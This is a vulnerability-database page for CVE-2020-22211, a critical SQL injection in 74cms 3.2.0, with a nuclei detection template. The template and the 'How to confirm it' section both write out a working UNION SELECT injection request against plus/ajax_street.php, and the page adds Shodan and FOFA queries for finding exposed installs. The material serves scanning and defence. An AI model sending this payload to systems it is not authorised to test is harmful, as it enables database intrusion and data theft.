HexBrain

Browse / CVEs / CVE-2020-22211

CVE-2020-22211· 74cms / 74cms· CWE-89

74cms - ajax_street.php 'key' SQL Injection

criticalseverity
9.8CVSS score
7.9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

SQL Injection in 74cms 3.2.0 via the key parameter to plus/ajax_street.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 'key' parameter of ajax_street.php in 74cms.

How to confirm it

Send: GET {{BaseURL}}/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{num}}),9%23
Positive when: contains "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2020-22211 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-22211

info:
  name: 74cms - ajax_street.php 'key' SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the key parameter to plus/ajax_street.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 'key' parameter of ajax_street.php in 74cms.
  reference:
    - https://github.com/blindkey/cve_like/issues/13
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22211
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22211
    cwe-id: CWE-89
    epss-score: 0.0794
    epss-percentile: 0.94781
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{num}}),9%23'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

References

Use this check only on systems you are authorised to test. Where the data comes from